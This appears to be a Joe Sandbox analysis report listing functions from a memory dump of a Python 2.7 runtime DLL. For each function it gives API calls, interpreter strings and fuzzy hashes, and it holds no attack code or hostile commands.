Opcode ID: b831d6e2ecbdedc6d17621fc5ec0ed5b6b17cdc00c8daa9bebdb5f4fc926b6dc
Instruction ID: 7d292236212308b157f514238c738d08eb657e1051e8bfe7e65805d7474025ac
Opcode Fuzzy Hash: b831d6e2ecbdedc6d17621fc5ec0ed5b6b17cdc00c8daa9bebdb5f4fc926b6dc
Instruction Fuzzy Hash: 404184B1E4011A9BDB24CF69DD80EAAB7B8EF4C204F1045A9E91CE7701D6309E94CF95

Function 6C165900 Relevance: 22.8, APIs: 9, Strings: 4, Instructions: 56COMMON

Download Yara Rule

APIs

__iob_func.MSVCR90 ref: 6C165910
fprintf.MSVCR90 ref: 6C16591A
__iob_func.MSVCR90 ref: 6C165933
fprintf.MSVCR90 ref: 6C165939
PyGILState_Ensure.PYTHON27 ref: 6C16593F
__iob_func.MSVCR90 ref: 6C165946
PyGILState_Release.PYTHON27(00000000,?,-00000040,00000000,00000000), ref: 6C165957
__iob_func.MSVCR90 ref: 6C16597A
fprintf.MSVCR90 ref: 6C165980

Strings

NULL, xrefs: 6C16590B
NULL, xrefs: 6C165966, 6C165974
type : %srefcount: %ldaddress : %p, xrefs: 6C165975
object : , xrefs: 6C16592E

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: __iob_func$fprintf$State_$EnsureRelease
String ID: type : %srefcount: %ldaddress : %p$NULL$NULL$object :
API String ID: 1153749589-2731072057
Opcode ID: 631247eb3ff177d806b393ca3eccb39d066cd1475f86510401e42d6318ca5414
Instruction ID: 384f597b44ab656189049643627b963ad4c8f346e5eb612ae5d8ff690eb081b1
Opcode Fuzzy Hash: 631247eb3ff177d806b393ca3eccb39d066cd1475f86510401e42d6318ca5414
Instruction Fuzzy Hash: 1A01A7B26001466BE70067EADC09F5B777CEF452ADF4A4415F806DBA02DA21F86086F9

Function 6C146460 Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 238COMMON

Download Yara Rule

APIs

PyDict_GetItem.PYTHON27(00000000,?,?,?,?,?,?,6C146452,?,?,00000001), ref: 6C14650F
PyObject_CallMethod.PYTHON27(?,keys,00000000,?,?,?,?,?,6C146452,?,?,00000001), ref: 6C146566
PyObject_GetIter.PYTHON27(00000000), ref: 6C146579
PyIter_Next.PYTHON27(00000000), ref: 6C1465A1
PyDict_GetItem.PYTHON27(?,00000000), ref: 6C1465BE
PyObject_GetItem.PYTHON27(?,00000000), ref: 6C1465DF
PyDict_SetItem.PYTHON27(?,00000000,00000000), ref: 6C1465F3
PyIter_Next.PYTHON27(?), ref: 6C14662B
PyErr_Format.PYTHON27(6C2E65C8,%s:%d: bad argument to internal function,..\Objects\dictobject.c,0000066D,?,?,?,?,?,6C146452,?,?,00000001), ref: 6C1466C3

Strings

..\Objects\dictobject.c, xrefs: 6C1466B8
%s:%d: bad argument to internal function, xrefs: 6C1466BD
keys, xrefs: 6C146560

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Item$Dict_Object_$Iter_Next$CallErr_FormatIterMethod
String ID: %s:%d: bad argument to internal function$..\Objects\dictobject.c$keys
API String ID: 3758137212-1154662420
Opcode ID: 375ece014a962a6b5fb59cbe313de3d3291f6d3ae8915bb59691e9200a94d669
Instruction ID: 8c1200358c6ae016f972de97182339d4c9d24634ce78c464e7e7d7899120e552
Opcode Fuzzy Hash: 375ece014a962a6b5fb59cbe313de3d3291f6d3ae8915bb59691e9200a94d669
Instruction Fuzzy Hash: BE71E176A006059BC710CF65D880A9A73A4EF9533CF24C768ED298BB85E735E857CBC1

Function 6C186510 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 227COMMON

Download Yara Rule

APIs

PyErr_Format.PYTHON27(6C2E65C8,%s:%d: bad argument to internal function,..\Objects\unicodeobject.c,000001A4,00000000,?,?,?,?,6C188D43,?,?,00000000,?,6C188A27,?), ref: 6C186538

Strings

%s:%d: bad argument to internal function, xrefs: 6C186532, 6C18675E
..\Objects\unicodeobject.c, xrefs: 6C18652D, 6C186759

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_Format
String ID: %s:%d: bad argument to internal function$..\Objects\unicodeobject.c
API String ID: 376477240-2140310296
Opcode ID: c0efe3fde4ea3db6d87657917ac2bf121128d5a132b185bec8485bed510c5444
Instruction ID: ba4d262878bd71fb2a55ca5c0790c65651735039f7c68b47c9c6a75bec851690
Opcode Fuzzy Hash: c0efe3fde4ea3db6d87657917ac2bf121128d5a132b185bec8485bed510c5444
Instruction Fuzzy Hash: F861F871A1A609CFD7108F69D880A56B3A4EF15338B20476ADD68CBF84E735E845CFC1

Function 6C0A8CB0 Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 226COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON27(?,nO:nsmallest,?,?), ref: 6C0A8CCF
PyObject_GetIter.PYTHON27(?), ref: 6C0A8CE4

Part of subcall function 6C12FF00: PySequence_Check.PYTHON27(?), ref: 6C12FF18
Part of subcall function 6C12FF00: PySeqIter_New.PYTHON27(?), ref: 6C12FF25

Py_FatalError.PYTHON27(GC object already tracked), ref: 6C0A8D31

Part of subcall function 6C1E1420: __iob_func.MSVCR90 ref: 6C1E1440
Part of subcall function 6C1E1420: fprintf.MSVCR90 ref: 6C1E1446
Part of subcall function 6C1E1420: __iob_func.MSVCR90 ref: 6C1E144C
Part of subcall function 6C1E1420: fflush.MSVCR90 ref: 6C1E1452
Part of subcall function 6C1E1420: OutputDebugStringW.KERNEL32(Fatal Python error: ), ref: 6C1E1499
Part of subcall function 6C1E1420: OutputDebugStringW.KERNEL32 ref: 6C1E149C
Part of subcall function 6C1E1420: OutputDebugStringW.KERNEL32(6C2B3AD4), ref: 6C1E14A3
Part of subcall function 6C1E1420: abort.MSVCR90 ref: 6C1E14A5

PyIter_Next.PYTHON27(?), ref: 6C0A8D6B
PyList_Append.PYTHON27(00000000,00000000), ref: 6C0A8D7F
_PyObject_GC_Malloc.PYTHON27(00000014), ref: 6C0A8E29
PyList_Sort.PYTHON27(00000000), ref: 6C0A8EDA

Strings

P&0l, xrefs: 6C0A8D46, 6C0A8D4F, 6C0A8D5A
nO:nsmallest, xrefs: 6C0A8CC9
GC object already tracked, xrefs: 6C0A8D2C

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: DebugOutputString$Iter_List_Object___iob_func$AppendArg_CheckErrorFatalIterMallocNextParseSequence_SortTupleabortfflushfprintf
String ID: GC object already tracked$P&0l$nO:nsmallest
API String ID: 2828585347-1382245293
Opcode ID: 058f24a8263b138b11a7660a085bc98ac3f4f4a2c920dd9fce580573ccd09b2e
Instruction ID: 52d4e8d5472dc79c309be9121c2263a7165029658329a86c2f40b1f3d7c8ef11
Opcode Fuzzy Hash: 058f24a8263b138b11a7660a085bc98ac3f4f4a2c920dd9fce580573ccd09b2e
Instruction Fuzzy Hash: 3081C7B1A006528FC700CFE8C884A5673E5BB49338B20476AE5758BB92E735EC47CB91

Function 6C155120 Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 225COMMON

Download Yara Rule

APIs

PyDict_GetItem.PYTHON27(?,?), ref: 6C155156
PyType_IsSubtype.PYTHON27(?,?), ref: 6C155178
PyModule_GetDict.PYTHON27(00000000), ref: 6C155190
PyDict_New.PYTHON27 ref: 6C1551A1
PyDict_SetItemString.PYTHON27(00000000,None,?), ref: 6C1551B8
_PyObject_GC_NewVar.PYTHON27(?,?), ref: 6C155216

Part of subcall function 6C0DBAA0: _PyObject_GC_Malloc.PYTHON27(?), ref: 6C0DBABC

_PyObject_GC_Resize.PYTHON27(?,?), ref: 6C155257
PyDict_New.PYTHON27 ref: 6C1552F5
Py_FatalError.PYTHON27(GC object already tracked), ref: 6C155352

Strings

None, xrefs: 6C1551B2
P&0l, xrefs: 6C155367, 6C15536F, 6C155377
GC object already tracked, xrefs: 6C15534D

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Dict_$Object_$Item$DictErrorFatalMallocModule_ResizeStringSubtypeType_
String ID: GC object already tracked$None$P&0l
API String ID: 4274310026-2430741249
Opcode ID: 08fcd7690d73205d2b9d16ba3c5423550b9c7c6a004a992772dcdbaa68ad5a00
Instruction ID: 195f8040b863df2ee31fd275fe9fa427f665bd6dfe6078b1d37e6f269ac7b50d
Opcode Fuzzy Hash: 08fcd7690d73205d2b9d16ba3c5423550b9c7c6a004a992772dcdbaa68ad5a00
Instruction Fuzzy Hash: D681D3B1A00B05CFCB10CF59D980656B7F0FF99328B54866DDC6A9BB41E335E962CB80

Function 6C1C5FA0 Relevance: 21.2, APIs: 5, Strings: 7, Instructions: 185stringCOMMON

Download Yara Rule

APIs

__iob_func.MSVCR90 ref: 6C1C60C0
fprintf.MSVCR90 ref: 6C1C60CA
strchr.MSVCR90 ref: 6C1C60F8
__iob_func.MSVCR90 ref: 6C1C6113
fprintf.MSVCR90 ref: 6C1C611D

Strings

3bBc:dEhiJm:OQ:RsStuUvVW:xX?, xrefs: 6C1C60F3
--help, xrefs: 6C1C6018
Unknown option: -%c, xrefs: 6C1C610E
-X is reserved for implementation-specific arguments, xrefs: 6C1C60EB
-J is reserved for Jython, xrefs: 6C1C60BB
Argument expected for the -%c option, xrefs: 6C1C616E
--version, xrefs: 6C1C6058

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: __iob_funcfprintf$strchr
String ID: --help$--version$-J is reserved for Jython$-X is reserved for implementation-specific arguments$3bBc:dEhiJm:OQ:RsStuUvVW:xX?$Argument expected for the -%c option$Unknown option: -%c
API String ID: 404167010-1173465839
Opcode ID: 9af285c6db03b521313e9fc220254f208691cca2dcbb39cb90c912aea0fb9929
Instruction ID: 804c35432233a9449c9dee76f4c49ccb7923e5e1b3c68be8776295b177f303d5
Opcode Fuzzy Hash: 9af285c6db03b521313e9fc220254f208691cca2dcbb39cb90c912aea0fb9929
Instruction Fuzzy Hash: E15157F27091484EDB118B3998547B57BB5AB7332DF09036AF889DB981D32BC455C782

Function 6C12B130 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 118COMMON

Download Yara Rule

APIs

PyObject_Size.PYTHON27(?), ref: 6C12B13C

Part of subcall function 6C12B0D0: PyErr_SetString.PYTHON27(6C2E65C8,null argument to internal routine), ref: 6C12B0F0

PyErr_GivenExceptionMatches.PYTHON27(?,6C2E48B0), ref: 6C12B160
PyErr_GivenExceptionMatches.PYTHON27(?,6C2E55C0), ref: 6C12B17D
PyErr_Clear.PYTHON27 ref: 6C12B192
PyObject_CallFunctionObjArgs.PYTHON27(00000000,00000000), ref: 6C12B1D0
PyErr_GivenExceptionMatches.PYTHON27(?,6C2E48B0), ref: 6C12B200
PyErr_GivenExceptionMatches.PYTHON27(?,6C2E55C0), ref: 6C12B21D
PyErr_Clear.PYTHON27 ref: 6C12B22D
PyNumber_Check.PYTHON27(00000000), ref: 6C12B23C
PyInt_AsSsize_t.PYTHON27(00000000), ref: 6C12B249

Strings

\'2l, xrefs: 6C12B1A4
__length_hint__, xrefs: 6C12B1A9

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_$ExceptionGivenMatches$ClearObject_$ArgsCallCheckFunctionInt_Number_SizeSsize_tString
String ID: \'2l$__length_hint__
API String ID: 722120710-3450155146
Opcode ID: 9f1c0e45d91a43ea89d40417452ae25087ae18311853b71b8ec6c131122a2842
Instruction ID: 67fd438807083979f1890d59d79a4bfdc0f8e45fd52c2ddcffc72a17e3dd5b63
Opcode Fuzzy Hash: 9f1c0e45d91a43ea89d40417452ae25087ae18311853b71b8ec6c131122a2842
Instruction Fuzzy Hash: 02312ABEB0010157DB04DB68EC45AAA7378AB59278B040329ED2987781FB38FC95C7D1

Function 6C0AA480 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 104fileCOMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON27(?,s:logreader,?), ref: 6C0AA495
PyObject_Malloc.PYTHON27(00000018), ref: 6C0AA4AC
PyErr_NoMemory.PYTHON27 ref: 6C0AA4B8

Part of subcall function 6C1C0380: PyErr_GivenExceptionMatches.PYTHON27(00000000,6C2E67A8,?,6C177E82,00000000,6C12B1D5,?,?,?,6C12F66F,00000000,?,00000000,6C12F785,00000000), ref: 6C1C0396
Part of subcall function 6C1C0380: PyErr_SetObject.PYTHON27(6C2E67A8,?), ref: 6C1C03B3

fopen.MSVCR90 ref: 6C0AA4F4
PyErr_SetFromErrnoWithFilename.PYTHON27(6C2E4EC0,6C30C1E0), ref: 6C0AA50F
PyDict_New.PYTHON27 ref: 6C0AA516

Part of subcall function 6C144510: PyString_FromString.PYTHON27(<dummy key>,00000000,00000000,00000000,?,?,6C1650C0,?,00000014,?,6C1CDEB4), ref: 6C144529

fgetc.MSVCR90 ref: 6C0AA52C
ungetc.MSVCR90 ref: 6C0AA560

Part of subcall function 6C0A9140: PyDict_GetItem.PYTHON27(?,?), ref: 6C0A9180
Part of subcall function 6C0A9140: PyList_New.PYTHON27(00000000), ref: 6C0A9193
Part of subcall function 6C0A9140: PyDict_SetItem.PYTHON27(?,?,00000000), ref: 6C0A91A7

fgetc.MSVCR90 ref: 6C0AA548
PyErr_SetString.PYTHON27(6C2E5248,unexpected error), ref: 6C0AA58A

Strings

unexpected error, xrefs: 6C0AA584
s:logreader, xrefs: 6C0AA48D

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_$Dict_$FromItemStringfgetc$Arg_ErrnoExceptionFilenameGivenList_MallocMatchesMemoryObjectObject_ParseString_TupleWithfopenungetc
String ID: s:logreader$unexpected error
API String ID: 982695279-3143292250
Opcode ID: 7745d8c9b87953c56b3989b986561bb8314aa6019a7ae4099ece4f9c6a6b8e3a
Instruction ID: c4568db07b26c76e43ba2eeacb011f0fce9f58cb5f79f0993100b852ae48eb0e
Opcode Fuzzy Hash: 7745d8c9b87953c56b3989b986561bb8314aa6019a7ae4099ece4f9c6a6b8e3a
Instruction Fuzzy Hash: BE31E8B5B001059BD7009BF99C44B9A73F8AF4532CF248715E924CBBC2F735E8168BA6

Function 6C1675A0 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 95COMMON

Download Yara Rule

APIs

PyObject_GetAttrString.PYTHON27(?,__dict__,6C2E9E88,?,?,?,6C16774A), ref: 6C1675B3
PyErr_Clear.PYTHON27 ref: 6C1675C1
PyDict_New.PYTHON27 ref: 6C1675C6

Part of subcall function 6C144510: PyString_FromString.PYTHON27(<dummy key>,00000000,00000000,00000000,?,?,6C1650C0,?,00000014,?,6C1CDEB4), ref: 6C144529

Part of subcall function 6C1671D0: PyObject_GetAttrString.PYTHON27(?,__dict__,00000000,00000000), ref: 6C1671E2
Part of subcall function 6C1671D0: PyErr_Clear.PYTHON27(00000000), ref: 6C1671F0
Part of subcall function 6C1671D0: PyObject_GetAttrString.PYTHON27(?,__bases__,?,?,?,00000000), ref: 6C167227
Part of subcall function 6C1671D0: PyErr_Clear.PYTHON27(?,?,?,?,?,00000000), ref: 6C167235

PyDict_New.PYTHON27 ref: 6C1675E9
PyObject_GetAttrString.PYTHON27(?,__class__), ref: 6C167642
PyErr_Clear.PYTHON27 ref: 6C167650
PyDict_Keys.PYTHON27(00000000), ref: 6C167666

Strings

__class__, xrefs: 6C16763C
__methods__, xrefs: 6C167629
__members__, xrefs: 6C167616
__dict__, xrefs: 6C1675A6

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: String$AttrClearErr_Object_$Dict_$FromKeysString_
String ID: __class__$__dict__$__members__$__methods__
API String ID: 3704403498-420438904
Opcode ID: ab6db203e16ea30ec27ce5f2e8d174d9fad171a9bd4ccc8e9347f9d49011e418
Instruction ID: 4a7b97b80d2c4b40dadbf7e7a064f08e4272f14e867f68c9ea44ee13195954c0
Opcode Fuzzy Hash: ab6db203e16ea30ec27ce5f2e8d174d9fad171a9bd4ccc8e9347f9d49011e418
Instruction Fuzzy Hash: 3F2107B2E0121197E7119AAB9C40B8F72A85F2133CF150769EC1587F41FB29DD2786E3

Function 6C0B6600 Relevance: 19.5, APIs: 7, Strings: 4, Instructions: 221COMMON

Download Yara Rule

APIs

PyDict_Size.PYTHON27(?), ref: 6C0B6625
PyErr_Format.PYTHON27(6C2E48B0,%s() takes at most %d positional arguments (%zd given),findall,00000003,?), ref: 6C0B6651
_PyArg_ParseTupleAndKeywords_SizeT.PYTHON27(7FFFFFFF,?,|OnnO:findall,6C300E04,?,?,7FFFFFFF,?), ref: 6C0B667D
PyList_New.PYTHON27(00000000), ref: 6C0B66CE
PyTuple_New.PYTHON27(7FFFFFFF,?), ref: 6C0B6751
PyList_Append.PYTHON27(?,00000000,?,?,?), ref: 6C0B67F7

Part of subcall function 6C0B5F50: PySequence_GetSlice.PYTHON27(6C2DFB7C,?,?), ref: 6C0B5F93

PySequence_GetSlice.PYTHON27(?,?,?,?), ref: 6C0B67E4

Strings

source, xrefs: 6C0B6691
findall, xrefs: 6C0B6646
|OnnO:findall, xrefs: 6C0B6676
%s() takes at most %d positional arguments (%zd given), xrefs: 6C0B664B

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: List_Sequence_SizeSlice$AppendArg_Dict_Err_FormatKeywords_ParseTupleTuple_
String ID: %s() takes at most %d positional arguments (%zd given)$findall$source$|OnnO:findall
API String ID: 41004728-684798393
Opcode ID: 0e38829e16134d4d91b53ac5743076fd439bd130d591a78b4bc47fa9544785cf
Instruction ID: df4ef5468f0f680f599993052164477937a22fe5886a5a1e71f2ba9fef929570
Opcode Fuzzy Hash: 0e38829e16134d4d91b53ac5743076fd439bd130d591a78b4bc47fa9544785cf
Instruction Fuzzy Hash: A67163B5D00119ABCB19CFA4DC80BDAB3F9BB44314F1482A9E928E7740D732EE55CB91

Function 6C0A6E80 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 186COMMON

Download Yara Rule

APIs

PySequence_Check.PYTHON27(?), ref: 6C0A6E95

Part of subcall function 6C12DF00: PyObject_GetAttrString.PYTHON27(?,__getitem__), ref: 6C12DF1A

PyErr_Format.PYTHON27(00000000,sequence expected), ref: 6C0A6EAD
PySequence_Size.PYTHON27(?), ref: 6C0A6EBD
PySequence_GetItem.PYTHON27(?,?), ref: 6C0A6EF0

Strings

(s#), xrefs: 6C0A7062
2.l, xrefs: 6C0A6FB1
sequence expected, xrefs: 6C0A6EA7

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Sequence_$AttrCheckErr_FormatItemObject_SizeString
String ID: (s#)$sequence expected$2.l
API String ID: 2976514168-188209972
Opcode ID: 059e1779dad037bc8efc42f8ae0c67333bdc3e233ccd727de388398eb37d6b5b
Instruction ID: d3bb42586d3cfc2ff823a0ab3083657d4d1622119c323d6810cc01b4a2a3ce4c
Opcode Fuzzy Hash: 059e1779dad037bc8efc42f8ae0c67333bdc3e233ccd727de388398eb37d6b5b
Instruction Fuzzy Hash: BE51C4B69102159FC710CEEDC980B9E73F4AF48358F158268D815D7B42E735EE46C791

Function 6C12E7C0 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 168COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON27(6C2E65C8,null argument to internal routine), ref: 6C12E7E4
PyList_AsTuple.PYTHON27(?), ref: 6C12E80E

Part of subcall function 6C15C3D0: PyTuple_New.PYTHON27(?), ref: 6C15C3F1

PyObject_GetIter.PYTHON27(?), ref: 6C12E81D

Strings

null argument to internal routine, xrefs: 6C12E7DE

Memory Dump Source

